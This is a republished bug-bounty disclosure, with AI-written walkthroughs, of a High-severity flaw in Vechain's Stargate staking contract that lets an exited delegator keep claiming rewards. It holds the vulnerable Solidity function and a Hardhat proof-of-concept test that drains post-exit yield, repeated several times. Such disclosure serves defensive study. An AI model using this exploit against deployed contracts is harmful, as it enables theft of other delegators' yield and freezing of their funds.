Skip to content
Business logic Audit finding Intermediate

A delegator who has requested an exit continues to accumulate rewards

A logic flaw in the reward calculation function allows a delegator who has requested to exit to keep claiming rewards for periods after their exit. This lets them steal unclaimed yield and can temporarily freeze other delegators' funds if reward tokens run out.

Vechain | Stargate Hayabusa

Originally disclosed on Immunefi

60028 sc high a delegator who has requested an exit continues to accumulate rewards

#60028 [SC-High] A delegator who has requested an exit continues to accumulate rewards

Submitted on Nov 17th 2025 at 17:44:19 UTC by @shaflow1 for Audit Comp | Vechain | Stargate Hayabusa (https://immunefi.com/audit-competition/audit-comp-vechain-stargate-hayabusa)

Description

Brief/Intro

There is a logic flaw in the _claimableDelegationPeriods function, which allows a delegator to continue accumulating and claiming rewards even after calling requestDelegationExit, as long as they do not unstake. This can lead to delegation rewards being stolen and also cause inconsistencies in reward token distribution. When the reward tokens in the Stargate contract are insufficient to cover payouts for other delegators, their fund withdrawals can be DOS-ed.

Vulnerability Details

The _claimableDelegationPeriods function is used to return the start and end periods of claimable rewards, but it contains a logical flaw.

{% code title="Stargate.sol (excerpt)" %}

Solidity
    function _claimableDelegationPeriods(
        StargateStorage storage $,
        uint256 _tokenId
    ) private view returns (uint32, uint32) {
        // get the delegation
        uint256 delegationId = $.delegationIdByTokenId[_tokenId];
        // if the token does not have a delegation, return 0
        if (delegationId == 0) {
            return (0, 0);
        }
        (address validator, , , ) = $.protocolStakerContract.getDelegation(delegationId);
        if (validator == address(0)) {
            return (0, 0);
        }

        (uint32 startPeriod, uint32 endPeriod) = $
            .protocolStakerContract
            .getDelegationPeriodDetails(delegationId);
        (, , , uint32 completedPeriods) = $.protocolStakerContract.getValidationPeriodDetails(
            validator
        );

        // current validator period is the next period because
        // the current period is the one that is not completed yet
        uint32 currentValidatorPeriod = completedPeriods + 1;

        // next claimable period is the last claimed period + 1
        uint32 nextClaimablePeriod = $.lastClaimedPeriod[_tokenId] + 1;
        // if the next claimable period is before the start period, set it to the start period
        if (nextClaimablePeriod < startPeriod) {
            nextClaimablePeriod = startPeriod;
        }

        // check first for delegations that ended
        // endPeriod is not max if the delegation is exited or requested to exit
        // if the endPeriod is before the current validator period, it means the delegation ended
        // because if its equal it means they requested to exit but the current period is not over yet
        if (
            endPeriod != type(uint32).max &&
            endPeriod < currentValidatorPeriod &&
 @>           endPeriod > nextClaimablePeriod
        ) {
            return (nextClaimablePeriod, endPeriod);
        }

        // check that the start period is before the current validator period
        // and if it is, return the start period and the current validator period.
        // we use "less than" because if we use "less than or equal", even
        // if the delegation started, the current period rewards are not claimable
        if (nextClaimablePeriod < currentValidatorPeriod) {
            return (nextClaimablePeriod, completedPeriods);
        }

        // the rest are either pending, non existing or are active but have no claimable periods
        return (0, 0);
    }

{% endcode %}

When an NFT calls requestDelegationExit to mark a delegation for exit, the endPeriod is set to the current period. In the next period, the delegator's funds will no longer participate in delegation and can be withdrawn. Therefore, in this case, the _claimableDelegationPeriods function should never return an end period for rewards that exceeds the ExitPeriod (endPeriod).

However, the check endPeriod > nextClaimablePeriod can cause the function to return the validator's completedPeriods as the end period even if the delegator has already exited in the following scenario:

{% stepper %} {% step %}

Scenario step

There are two delegators. delegator1 calls requestDelegationExit at currentPeriod = 5, marking the exit, so endPeriod = 5. {% endstep %}

{% step %}

Scenario step

After 1 period, currentPeriod = 6. delegator1 can now exit, and delegatorsEffectiveStake is reduced. {% endstep %}

{% step %}

Scenario step

delegator1 calls claimRewards to claim rewards. At this point, _claimableDelegationPeriods returns the reward end period as endPeriod = 5, and after the call, lastClaimedPeriod[_tokenId] = 5. {% endstep %}

{% step %}

Scenario step

After another period, currentPeriod = 7, delegator1 claims rewards again. Now, nextClaimablePeriod = lastClaimedPeriod[_tokenId] + 1 = 6 > endPeriod = 5. Therefore, _claimableDelegationPeriods does not enter the if branch returning (nextClaimablePeriod, endPeriod) and instead returns (nextClaimablePeriod (6), completedPeriods (6)). As a result, delegator1 can continue to claim rewards for period 6. {% endstep %}

{% step %}

Scenario step

Subsequently, delegator1 continues accumulating rewards each period. Because the denominator delegatorsEffectiveStake is reduced, the yield may even exceed normal delegation. Meanwhile, the rewards allocated by the node to the contract are insufficient, causing reward tokens to run out, and delegator2 cannot claim rewards or unstake. {% endstep %} {% endstepper %}

Impact Details

The above issue allows malicious actors to claim excessive rewards, while the staking rewards allocated by the validator to Stargate remain unchanged. If there are many such attackers in the system, reward tokens can be stolen by them, and legitimate delegators may be unable to claim rewards or advance reward periods due to insufficient reward tokens, preventing them from unstaking and effectively locking their funds.

References

https://github.com/immunefi-team/audit-comp-vechain-stargate-hayabusa/blob/e9c0bc9b0f24dc0c44de273181d9a99aaf2c31b0/packages/contracts/contracts/Stargate.sol#L919

Proof of Concept

The following test demonstrates that after requestDelegationExit, rewards can still be claimed even after the endPeriod has passed. Add this test to the end of packages/contracts/test/unit/Stargate/Rewards.test.ts to reproduce.

{% code title="PoC (JavaScript / Hardhat test)" %}

JavaScript
    it("should claim rewards after exit and have no further rewards after additional period", async () => {
        const levelSpec = await stargateNFTMock.getLevel(LEVEL_ID);
        tx = await stargateContract.connect(user).stake(LEVEL_ID, {
            value: levelSpec.vetAmountRequiredToStake,
        });
        await tx.wait();
        const tokenId = await stargateNFTMock.getCurrentTokenId();
        log("\nπŸŽ‰ Staked token with id:", tokenId);

        tx = await stargateContract.connect(user).stake(LEVEL_ID, {
            value: levelSpec.vetAmountRequiredToStake,
        });
        await tx.wait();
        const tokenId2 = await stargateNFTMock.getCurrentTokenId();
    
        // delegate
        tx = await stargateContract.connect(user).delegate(tokenId, validator.address);
        await tx.wait();
        log("\nπŸŽ‰ Delegated token to validator", validator.address);

        tx = await stargateContract.connect(user).delegate(tokenId2, validator.address);
        await tx.wait();
        log("\nπŸŽ‰ Delegated token to validator", validator.address);
    
        // fast forward initial completed periods for reward accumulation
        tx = await protocolStakerMock.helper__setValidationCompletedPeriods(validator.address, 5);
        await tx.wait();
        log("\nπŸŽ‰ Set validator completed periods to 5");
    
        // request exit
        tx = await stargateContract.connect(user).requestDelegationExit(tokenId);
        await tx.wait();
        log("\nπŸŽ‰ Requested delegation exit");
    
        // fast forward two more periods after exit
        tx = await protocolStakerMock.helper__setValidationCompletedPeriods(validator.address, 7);
        await tx.wait();
        log("\nπŸŽ‰ Set validator completed periods to 7 (2 periods after exit)");
    
        // claim rewards
        const claimableBefore = await stargateContract["claimableRewards(uint256)"](tokenId);
        expect(claimableBefore).to.be.greaterThan(0n);
    
        const preClaimBalance = await vthoTokenContract.balanceOf(user.address);
        tx = await stargateContract.connect(user).claimRewards(tokenId);
        await tx.wait();
        log("\nπŸ’° Claimed rewards");
    
        const postClaimBalance = await vthoTokenContract.balanceOf(user.address);
        expect(postClaimBalance).to.equal(preClaimBalance + claimableBefore);
        console.log(postClaimBalance);
        
        // fast forward one more period
        tx = await protocolStakerMock.helper__setValidationCompletedPeriods(validator.address, 8);
        await tx.wait();
        log("\nπŸŽ‰ Set validator completed periods to 8 (1 more period)");
        let delegateId = await stargateContract.getDelegationIdOfToken(tokenId);
        let [, endPeriod] = await protocolStakerMock.getDelegationPeriodDetails(delegateId);
        console.log(endPeriod);
    
        // claimable rewards should now be 0
        const claimableAfter = await stargateContract["claimableRewards(uint256)"](tokenId);
        log("\nπŸ’° Claimable rewards after extra period:", claimableAfter);
        expect(claimableAfter).not.to.equal(0n);
        const preClaimBalance2 = await vthoTokenContract.balanceOf(user.address);
        tx = await stargateContract.connect(user).claimRewards(tokenId);
        await tx.wait();
        log("\nπŸ’° Claimed rewards");
    
        const postClaimBalance2 = await vthoTokenContract.balanceOf(user.address);
        expect(postClaimBalance2).to.equal(preClaimBalance2 + claimableAfter);
        console.log(postClaimBalance2);
    });

{% endcode %}

The original report as published on Immunefi. Images and videos are our own copies; raw HTML is shown as text. View it on Immunefi.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 9 min read.

Context

Stargate is the contract under review in the Vechain Hayabusa audit competition. Users stake through a StargateNFT token, delegate it to a validator, and accumulate rewards per validation period. Rewards are claimed per token with claimRewards, and the contract works out which periods are payable through the private view function _claimableDelegationPeriods.

A delegator can ask to leave a validator with requestDelegationExit. That marks the delegation for exit: the delegation's endPeriod is set to the current period, and from the next period the delegator's funds no longer take part in delegation and can be withdrawn. The natural expectation is that no reward is payable for any period after the exit period.

The report was filed against the Stargate contract in the audit-comp-vechain-stargate-hayabusa repository, with the vulnerable line referenced at Stargate.sol#L919. It is rated High, with the impacts listed as theft of unclaimed yield and temporary freezing of funds for at least 24 hours.

Setup

The proof of concept is a Hardhat test written in JavaScript and added to the end of packages/contracts/test/unit/Stargate/Rewards.test.ts. It uses the existing mocks and fixtures of that test suite:

  • stargateContract, the contract under test.
  • stargateNFTMock, which issues the staking NFTs and exposes getLevel and getCurrentTokenId.
  • protocolStakerMock, which stands in for the protocol staker and exposes helper__setValidationCompletedPeriods and getDelegationPeriodDetails.
  • vthoTokenContract, the reward token, whose balanceOf is used to check payouts.
  • A user account and a validator address.

The test needs two staked tokens owned by the same user and delegated to the same validator, and it drives the validator's completed period count directly through the mock helper rather than waiting for real periods.

Finding it

The researcher focused on _claimableDelegationPeriods, which returns the first and last period for which a token can claim rewards. The function reads the delegation, the validator, the delegation's start and end periods, and the validator's completed periods, then computes the current validator period as completedPeriods + 1 and the next claimable period as lastClaimedPeriod[_tokenId] + 1, clamped up to startPeriod if needed.

The suspicious part is the branch that handles delegations that have ended:

Solidity
    function _claimableDelegationPeriods(
        StargateStorage storage $,
        uint256 _tokenId
    ) private view returns (uint32, uint32) {
        // get the delegation
        uint256 delegationId = $.delegationIdByTokenId[_tokenId];
        // if the token does not have a delegation, return 0
        if (delegationId == 0) {
            return (0, 0);
        }
        (address validator, , , ) = $.protocolStakerContract.getDelegation(delegationId);
        if (validator == address(0)) {
            return (0, 0);
        }

        (uint32 startPeriod, uint32 endPeriod) = $
            .protocolStakerContract
            .getDelegationPeriodDetails(delegationId);
        (, , , uint32 completedPeriods) = $.protocolStakerContract.getValidationPeriodDetails(
            validator
        );

        // current validator period is the next period because
        // the current period is the one that is not completed yet
        uint32 currentValidatorPeriod = completedPeriods + 1;

        // next claimable period is the last claimed period + 1
        uint32 nextClaimablePeriod = $.lastClaimedPeriod[_tokenId] + 1;
        // if the next claimable period is before the start period, set it to the start period
        if (nextClaimablePeriod < startPeriod) {
            nextClaimablePeriod = startPeriod;
        }

        // check first for delegations that ended
        // endPeriod is not max if the delegation is exited or requested to exit
        // if the endPeriod is before the current validator period, it means the delegation ended
        // because if its equal it means they requested to exit but the current period is not over yet
        if (
            endPeriod != type(uint32).max &&
            endPeriod < currentValidatorPeriod &&
 @>           endPeriod > nextClaimablePeriod
        ) {
            return (nextClaimablePeriod, endPeriod);
        }

        // check that the start period is before the current validator period
        // and if it is, return the start period and the current validator period.
        // we use "less than" because if we use "less than or equal", even
        // if the delegation started, the current period rewards are not claimable
        if (nextClaimablePeriod < currentValidatorPeriod) {
            return (nextClaimablePeriod, completedPeriods);
        }

        // the rest are either pending, non existing or are active but have no claimable periods
        return (0, 0);
    }

The third condition, endPeriod > nextClaimablePeriod, is what the researcher flagged. The comment above the branch says that endPeriod is not type(uint32).max when the delegation is exited or has requested an exit, and that an endPeriod before the current validator period means the delegation ended. The function is therefore supposed to cap rewards at endPeriod for an exiting delegator. But the extra condition means the capped branch is only taken while nextClaimablePeriod is still below endPeriod. Once the delegator has claimed up to the exit period, nextClaimablePeriod becomes endPeriod + 1, the condition fails, and control falls through to the general branch, which returns (nextClaimablePeriod, completedPeriods). That branch was written for active delegations and has no knowledge of the exit.

Exploitation

Step 1: request the exit at period 5

There are two delegators. delegator1 calls requestDelegationExit at currentPeriod = 5, which marks the exit and sets endPeriod = 5.

Step 2: wait one period

After one period, currentPeriod = 6. delegator1 can now exit, and delegatorsEffectiveStake is reduced.

Step 3: claim up to the exit period

delegator1 calls claimRewards. _claimableDelegationPeriods returns the reward end period as endPeriod = 5, and after the call lastClaimedPeriod[_tokenId] = 5.

Step 4: claim again one period later

After another period, currentPeriod = 7, and delegator1 claims rewards again. Now nextClaimablePeriod = lastClaimedPeriod[_tokenId] + 1 = 6, which is greater than endPeriod = 5. The if branch that would return (nextClaimablePeriod, endPeriod) is skipped, and the function returns (nextClaimablePeriod (6), completedPeriods (6)). delegator1 can therefore claim rewards for period 6, a period after the exit.

Step 5: keep going

From then on, delegator1 keeps accumulating rewards every period. Because the denominator delegatorsEffectiveStake has been reduced by the exit, the yield per period may even exceed that of normal delegation. Meanwhile the rewards the node allocates to the contract are unchanged, so the reward tokens can run out and delegator2 cannot claim rewards or unstake.

The proof of concept reproduces this. It stakes two tokens, delegates both to the same validator, sets the validator's completed periods to 5, requests an exit on the first token, advances the validator to 7 completed periods, claims, advances to 8, and claims again, asserting that the second claim is non-zero:

JavaScript
    it("should claim rewards after exit and have no further rewards after additional period", async () => {
        const levelSpec = await stargateNFTMock.getLevel(LEVEL_ID);
        tx = await stargateContract.connect(user).stake(LEVEL_ID, {
            value: levelSpec.vetAmountRequiredToStake,
        });
        await tx.wait();
        const tokenId = await stargateNFTMock.getCurrentTokenId();
        log("\nπŸŽ‰ Staked token with id:", tokenId);

        tx = await stargateContract.connect(user).stake(LEVEL_ID, {
            value: levelSpec.vetAmountRequiredToStake,
        });
        await tx.wait();
        const tokenId2 = await stargateNFTMock.getCurrentTokenId();

        // delegate
        tx = await stargateContract.connect(user).delegate(tokenId, validator.address);
        await tx.wait();
        log("\nπŸŽ‰ Delegated token to validator", validator.address);

        tx = await stargateContract.connect(user).delegate(tokenId2, validator.address);
        await tx.wait();
        log("\nπŸŽ‰ Delegated token to validator", validator.address);

        // fast forward initial completed periods for reward accumulation
        tx = await protocolStakerMock.helper__setValidationCompletedPeriods(validator.address, 5);
        await tx.wait();
        log("\nπŸŽ‰ Set validator completed periods to 5");

        // request exit
        tx = await stargateContract.connect(user).requestDelegationExit(tokenId);
        await tx.wait();
        log("\nπŸŽ‰ Requested delegation exit");

        // fast forward two more periods after exit
        tx = await protocolStakerMock.helper__setValidationCompletedPeriods(validator.address, 7);
        await tx.wait();
        log("\nπŸŽ‰ Set validator completed periods to 7 (2 periods after exit)");

        // claim rewards
        const claimableBefore = await stargateContract["claimableRewards(uint256)"](tokenId);
        expect(claimableBefore).to.be.greaterThan(0n);

        const preClaimBalance = await vthoTokenContract.balanceOf(user.address);
        tx = await stargateContract.connect(user).claimRewards(tokenId);
        await tx.wait();
        log("\nπŸ’° Claimed rewards");

        const postClaimBalance = await vthoTokenContract.balanceOf(user.address);
        expect(postClaimBalance).to.equal(preClaimBalance + claimableBefore);
        console.log(postClaimBalance);

        // fast forward one more period
        tx = await protocolStakerMock.helper__setValidationCompletedPeriods(validator.address, 8);
        await tx.wait();
        log("\nπŸŽ‰ Set validator completed periods to 8 (1 more period)");
        let delegateId = await stargateContract.getDelegationIdOfToken(tokenId);
        let [, endPeriod] = await protocolStakerMock.getDelegationPeriodDetails(delegateId);
        console.log(endPeriod);

        // claimable rewards should now be 0
        const claimableAfter = await stargateContract["claimableRewards(uint256)"](tokenId);
        log("\nπŸ’° Claimable rewards after extra period:", claimableAfter);
        expect(claimableAfter).not.to.equal(0n);
        const preClaimBalance2 = await vthoTokenContract.balanceOf(user.address);
        tx = await stargateContract.connect(user).claimRewards(tokenId);
        await tx.wait();
        log("\nπŸ’° Claimed rewards");

        const postClaimBalance2 = await vthoTokenContract.balanceOf(user.address);
        expect(postClaimBalance2).to.equal(preClaimBalance2 + claimableAfter);
        console.log(postClaimBalance2);
    });

The test name states the intended behaviour, that there should be no further rewards after an additional period, while the assertion expect(claimableAfter).not.to.equal(0n) shows the opposite. The balance checks confirm that the claimed amount is actually transferred in VTHO: the post-claim balance equals the pre-claim balance plus the amount reported by claimableRewards.

Root cause

The exit cap in _claimableDelegationPeriods is guarded by endPeriod > nextClaimablePeriod. That guard is correct only for the first claim after the exit. Once lastClaimedPeriod reaches endPeriod, nextClaimablePeriod is endPeriod + 1, the capped branch is skipped, and the function falls through to the branch intended for active delegations, which returns completedPeriods as the end of the claimable range with no reference to the exit. The function therefore stops honouring the exit as soon as the delegator has caught up with it.

The existing checks do not prevent this. The endPeriod != type(uint32).max test only distinguishes exited or exiting delegations from active ones, and endPeriod < currentValidatorPeriod only confirms that the exit period has passed. Neither of them re-applies the cap once nextClaimablePeriod has moved past endPeriod.

Impact

A delegator who has requested an exit, and who does not unstake, can keep claiming rewards for periods after the exit. The rewards the validator allocates to Stargate do not change, so the extra payouts come out of the pool meant for everyone else. The report notes that because delegatorsEffectiveStake is reduced after the exit, the per-period yield for the exiting delegator may even exceed that of normal delegation.

With enough delegators doing this, reward tokens can be drained, and legitimate delegators may be unable to claim rewards or advance reward periods for lack of tokens, which also prevents them from unstaking and effectively locks their funds. The report lists this as temporary freezing of funds for at least 24 hours alongside the theft of unclaimed yield.

Fix

The report does not describe a patch. The report does not describe a patch. The flaw is that the cap at endPeriod is skipped once nextClaimablePeriod moves past it.

Variants to test

  • Claim exactly at the exit period and then once more after the next period, on any staking or delegation contract with a per-period reward accumulator. A positive result is a non-zero claimableRewards after lastClaimedPeriod has reached the exit period.
  • Exit and then re-delegate the same token before unstaking. A positive result is rewards accruing across the gap, or a period counted twice.
  • Multiple tokens from the same account exiting at different periods. A positive result is one token's lastClaimedPeriod influencing the range returned for another, or the shared delegatorsEffectiveStake denominator inflating payouts.
  • Partial claims that leave lastClaimedPeriod just below endPeriod, followed by a claim after the exit period. A positive result is the capped branch being skipped earlier than expected.
  • Compare claimableRewards against the validator's actual allocated rewards for the same periods. A positive result is a claimable total that exceeds what the validator paid in.

Hunting notes

This bug lives in reward accounting that mixes two states, active and exiting, in one function with a shared fall-through branch. The signal during review is a cap or bound that is applied through a comparison against a value the caller controls indirectly, here lastClaimedPeriod, so the cap can be stepped over by claiming up to it. Functions with comments explaining why a condition exists are worth reading closely: the comment above the branch describes the intended behaviour, and the third condition contradicts it.

The researcher built a unit test on the project's own mocks, drove the period counter with the provided helper, and asserted both the claimable amount and the token balance delta. The test name states the expected behaviour and the assertion demonstrates the violation, which makes the finding easy to reproduce and hard to dispute.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 18 min read.

What happened, in plain words

Imagine a savings club. Members put money in, the club lends it out, and every month each member earns a small share of the interest. If you want to leave the club, you tell the manager: "I'm leaving at the end of this month." From then on you should stop earning interest, because your money is no longer being lent out.

This report describes a bug where that last part does not happen. A member who has announced they are leaving keeps earning interest every month, even after they have left, as long as they never actually take their money out. The interest they collect comes out of the same pot that everyone else's interest comes from. If enough people do this, the pot runs dry, and honest members cannot collect their interest or even take their money back.

The club here is a smart contract called Stargate, part of a blockchain project called Vechain (specifically an upgrade named Hayabusa). A smart contract is a program that lives on a blockchain: it runs automatically, anyone can call it, and its rules cannot be changed after the fact by a manager. The report was submitted to Immunefi for Audit Comp | Vechain | Stargate Hayabusa, a competition where security researchers look for flaws in this contract and report them. This particular report is rated High severity, and the type of harm is described as theft of unclaimed yield (yield means the rewards earned from staking) plus temporary freezing of funds for at least 24 hours.

The product and the feature

To follow the report you need a few ideas from the world of blockchains.

  • Staking means locking up a cryptocurrency for a while in exchange for rewards. It is a bit like a fixed-term savings account: your money is tied up, and in return you earn interest.
  • Delegation means handing your staked money to a validator, a computer operator who does the actual work of running the network. The validator earns rewards and shares them with the people who delegated to it.
  • A period is a fixed slice of time used for accounting. Rewards are counted period by period, like monthly statements.
  • An NFT (non-fungible token) is a unique digital token on a blockchain. Here, when you stake, the contract gives you a StargateNFT that represents your stake. It is like a numbered receipt: it proves the stake is yours and carries the record of your delegation.

So the flow is: a user stakes VET, receives an NFT receipt, delegates that NFT to a validator, and over each period accumulates VTHO rewards. The user can call a function called claimRewards to collect the rewards owed so far.

A user can also decide to leave a validator. They call requestDelegationExit. This marks the delegation for exit: the delegation gets an endPeriod set to the current period. From the next period onward, the user's funds no longer take part in delegation and can be withdrawn. The obvious expectation is that no reward is payable for any period after the exit period.

The report was filed against the Stargate contract in the audit-comp-vechain-stargate-hayabusa repository, and points at the vulnerable line as Stargate.sol#L919.

The test setup

The proof of concept is an automated test. A test is a small program that sets up a situation, performs actions, and checks that the results are what they should be. This one is written in JavaScript/TypeScript and uses a tool called Hardhat, which lets developers run a fake blockchain on their own computer so they can test contracts without spending real money. The test is added to the end of an existing test file, packages/contracts/test/unit/Stargate/Rewards.test.ts, and reuses the helpers that file already has:

  • stargateContract: the contract being tested.
  • stargateNFTMock: a stand-in for the NFT contract that issues the staking receipts. It offers getLevel (to look up how much VET a given staking level requires) and getCurrentTokenId (to read the ID of the most recently issued NFT).
  • protocolStakerMock: a stand-in for the part of the system that tracks validators. It offers helper__setValidationCompletedPeriods, which lets the test jump the validator's period counter forward without waiting real time, and getDelegationPeriodDetails, which returns a delegation's start and end periods.
  • vthoTokenContract: the reward token. Its balanceOf function tells you how many VTHO a given address holds, which is how the test checks that rewards were really paid out.
  • A user account (the person doing the staking) and a validator address (the operator being delegated to).

Finding the flaw

The researcher focused on a function called _claimableDelegationPeriods. This function answers one question: for a given NFT, which periods of rewards can be claimed right now? It returns two numbers, the first claimable period and the last claimable period.

Here is the function as it appears in the report. The @> marker in the margin points at the line the researcher considers suspicious.

Solidity
    function _claimableDelegationPeriods(
        StargateStorage storage $,
        uint256 _tokenId
    ) private view returns (uint32, uint32) {
        // get the delegation
        uint256 delegationId = $.delegationIdByTokenId[_tokenId];
        // if the token does not have a delegation, return 0
        if (delegationId == 0) {
            return (0, 0);
        }
        (address validator, , , ) = $.protocolStakerContract.getDelegation(delegationId);
        if (validator == address(0)) {
            return (0, 0);
        }

        (uint32 startPeriod, uint32 endPeriod) = $
            .protocolStakerContract
            .getDelegationPeriodDetails(delegationId);
        (, , , uint32 completedPeriods) = $.protocolStakerContract.getValidationPeriodDetails(
            validator
        );

        // current validator period is the next period because
        // the current period is the one that is not completed yet
        uint32 currentValidatorPeriod = completedPeriods + 1;

        // next claimable period is the last claimed period + 1
        uint32 nextClaimablePeriod = $.lastClaimedPeriod[_tokenId] + 1;
        // if the next claimable period is before the start period, set it to the start period
        if (nextClaimablePeriod < startPeriod) {
            nextClaimablePeriod = startPeriod;
        }

        // check first for delegations that ended
        // endPeriod is not max if the delegation is exited or requested to exit
        // if the endPeriod is before the current validator period, it means the delegation ended
        // because if its equal it means they requested to exit but the current period is not over yet
        if (
            endPeriod != type(uint32).max &&
            endPeriod < currentValidatorPeriod &&
 @>           endPeriod > nextClaimablePeriod
        ) {
            return (nextClaimablePeriod, endPeriod);
        }

        // check that the start period is before the current validator period
        // and if it is, return the start period and the current validator period.
        // we use "less than" because if we use "less than or equal", even
        // if the delegation started, the current period rewards are not claimable
        if (nextClaimablePeriod < currentValidatorPeriod) {
            return (nextClaimablePeriod, completedPeriods);
        }

        // the rest are either pending, non existing or are active but have no claimable periods
        return (0, 0);
    }

Line by line, in plain words:

  1. function _claimableDelegationPeriods(...) declares a private function (private means only the contract itself can call it) that takes the contract's storage and an NFT ID, and returns two period numbers.
  2. uint256 delegationId = $.delegationIdByTokenId[_tokenId]; looks up which delegation belongs to this NFT. uint256 is a whole number type; $ is the contract's storage area.
  3. if (delegationId == 0) { return (0, 0); } if the NFT has no delegation, there is nothing to claim, so it returns zeros.
  4. (address validator, , , ) = $.protocolStakerContract.getDelegation(delegationId); asks the staker contract which validator this delegation points at. The empty commas skip values the function does not need.
  5. if (validator == address(0)) { return (0, 0); } if the delegation has no validator (the zero address is the blockchain's way of saying "nobody"), again return zeros.
  6. (uint32 startPeriod, uint32 endPeriod) = ...getDelegationPeriodDetails(delegationId); fetches the delegation's first and last period. uint32 is a smaller whole number type.
  7. (, , , uint32 completedPeriods) = ...getValidationPeriodDetails(validator); fetches how many periods the validator has fully completed.
  8. uint32 currentValidatorPeriod = completedPeriods + 1; the current period is the one after the last completed one, because the current period is not finished yet.
  9. uint32 nextClaimablePeriod = $.lastClaimedPeriod[_tokenId] + 1; the next period this NFT can claim is one after the last period it already claimed. lastClaimedPeriod is a per-NFT record of progress.
  10. if (nextClaimablePeriod < startPeriod) { nextClaimablePeriod = startPeriod; } you cannot claim before your delegation started, so the value is raised to the start period if needed.
  11. The if block with the @> line is the branch for delegations that have ended. It fires only when three things are all true: endPeriod is not the maximum possible number (the maximum is used as a marker meaning "no end"), endPeriod is before the current validator period (so the exit period has passed), and endPeriod > nextClaimablePeriod (the next claimable period is still below the exit period). When it fires, it returns the range from nextClaimablePeriod up to endPeriod, which correctly caps rewards at the exit.
  12. The next if block is the general branch for active delegations: if the next claimable period is before the current validator period, return the range from nextClaimablePeriod up to completedPeriods. This branch knows nothing about exits.
  13. return (0, 0); covers everything else: pending delegations, non-existent ones, or active ones with nothing to claim yet.

The third condition, endPeriod > nextClaimablePeriod, is the problem. The comments above the branch say that endPeriod is not the maximum when the delegation is exited or has requested an exit, and that an endPeriod before the current validator period means the delegation ended. So the function is supposed to cap rewards at endPeriod for someone who is leaving. But the extra condition means the capped branch is only taken while nextClaimablePeriod is still below endPeriod. Once the delegator has claimed up to the exit period, nextClaimablePeriod becomes endPeriod + 1, the condition fails, and the code falls through to the general branch, which returns (nextClaimablePeriod, completedPeriods). That branch was written for active delegations and has no idea the exit ever happened.

A useful comparison: it is like a shop rule saying "loyalty points stop on your last day of membership", but the rule is only checked while your points balance is below your last day's total. Once you have spent up to that point, the check is skipped and you keep earning.

Exploitation

Step 1: request the exit at period 5

There are two delegators. delegator1 calls requestDelegationExit at currentPeriod = 5, which marks the exit and sets endPeriod = 5.

Step 2: wait one period

After one period, currentPeriod = 6. delegator1 can now exit, and delegatorsEffectiveStake is reduced. delegatorsEffectiveStake is the total amount the contract divides rewards by: it is the denominator in the reward calculation. When a delegator leaves, that total goes down.

Step 3: claim up to the exit period

delegator1 calls claimRewards. _claimableDelegationPeriods returns the reward end period as endPeriod = 5, and after the call lastClaimedPeriod[_tokenId] = 5.

Step 4: claim again one period later

After another period, currentPeriod = 7, and delegator1 claims rewards again. Now nextClaimablePeriod = lastClaimedPeriod[_tokenId] + 1 = 6, which is greater than endPeriod = 5. The if branch that would return (nextClaimablePeriod, endPeriod) is skipped, and the function returns (nextClaimablePeriod (6), completedPeriods (6)). delegator1 can therefore claim rewards for period 6, a period after the exit.

Step 5: keep going

From then on, delegator1 keeps accumulating rewards every period. Because the denominator delegatorsEffectiveStake has been reduced by the exit, the yield per period may even exceed that of normal delegation. Meanwhile the rewards the node allocates to the contract are unchanged, so the reward tokens can run out and delegator2 cannot claim rewards or unstake.

The proof of concept

The test below reproduces the whole thing. It stakes two tokens, delegates both to the same validator, sets the validator's completed periods to 5, requests an exit on the first token, advances the validator to 7 completed periods, claims, advances to 8, and claims again, asserting that the second claim is non-zero.

JavaScript
    it("should claim rewards after exit and have no further rewards after additional period", async () => {
        const levelSpec = await stargateNFTMock.getLevel(LEVEL_ID);
        tx = await stargateContract.connect(user).stake(LEVEL_ID, {
            value: levelSpec.vetAmountRequiredToStake,
        });
        await tx.wait();
        const tokenId = await stargateNFTMock.getCurrentTokenId();
        log("\nπŸŽ‰ Staked token with id:", tokenId);

        tx = await stargateContract.connect(user).stake(LEVEL_ID, {
            value: levelSpec.vetAmountRequiredToStake,
        });
        await tx.wait();
        const tokenId2 = await stargateNFTMock.getCurrentTokenId();

        // delegate
        tx = await stargateContract.connect(user).delegate(tokenId, validator.address);
        await tx.wait();
        log("\nπŸŽ‰ Delegated token to validator", validator.address);

        tx = await stargateContract.connect(user).delegate(tokenId2, validator.address);
        await tx.wait();
        log("\nπŸŽ‰ Delegated token to validator", validator.address);

        // fast forward initial completed periods for reward accumulation
        tx = await protocolStakerMock.helper__setValidationCompletedPeriods(validator.address, 5);
        await tx.wait();
        log("\nπŸŽ‰ Set validator completed periods to 5");

        // request exit
        tx = await stargateContract.connect(user).requestDelegationExit(tokenId);
        await tx.wait();
        log("\nπŸŽ‰ Requested delegation exit");

        // fast forward two more periods after exit
        tx = await protocolStakerMock.helper__setValidationCompletedPeriods(validator.address, 7);
        await tx.wait();
        log("\nπŸŽ‰ Set validator completed periods to 7 (2 periods after exit)");

        // claim rewards
        const claimableBefore = await stargateContract["claimableRewards(uint256)"](tokenId);
        expect(claimableBefore).to.be.greaterThan(0n);

        const preClaimBalance = await vthoTokenContract.balanceOf(user.address);
        tx = await stargateContract.connect(user).claimRewards(tokenId);
        await tx.wait();
        log("\nπŸ’° Claimed rewards");

        const postClaimBalance = await vthoTokenContract.balanceOf(user.address);
        expect(postClaimBalance).to.equal(preClaimBalance + claimableBefore);
        console.log(postClaimBalance);

        // fast forward one more period
        tx = await protocolStakerMock.helper__setValidationCompletedPeriods(validator.address, 8);
        await tx.wait();
        log("\nπŸŽ‰ Set validator completed periods to 8 (1 more period)");
        let delegateId = await stargateContract.getDelegationIdOfToken(tokenId);
        let [, endPeriod] = await protocolStakerMock.getDelegationPeriodDetails(delegateId);
        console.log(endPeriod);

        // claimable rewards should now be 0
        const claimableAfter = await stargateContract["claimableRewards(uint256)"](tokenId);
        log("\nπŸ’° Claimable rewards after extra period:", claimableAfter);
        expect(claimableAfter).not.to.equal(0n);
        const preClaimBalance2 = await vthoTokenContract.balanceOf(user.address);
        tx = await stargateContract.connect(user).claimRewards(tokenId);
        await tx.wait();
        log("\nπŸ’° Claimed rewards");

        const postClaimBalance2 = await vthoTokenContract.balanceOf(user.address);
        expect(postClaimBalance2).to.equal(preClaimBalance2 + claimableAfter);
        console.log(postClaimBalance2);
    });

Line by line, in plain words:

  1. it("should claim rewards after exit...", async () => { starts a named test. The name states the intended behaviour: there should be no further rewards after an additional period. async means the test will wait for slow operations (blockchain calls) to finish.
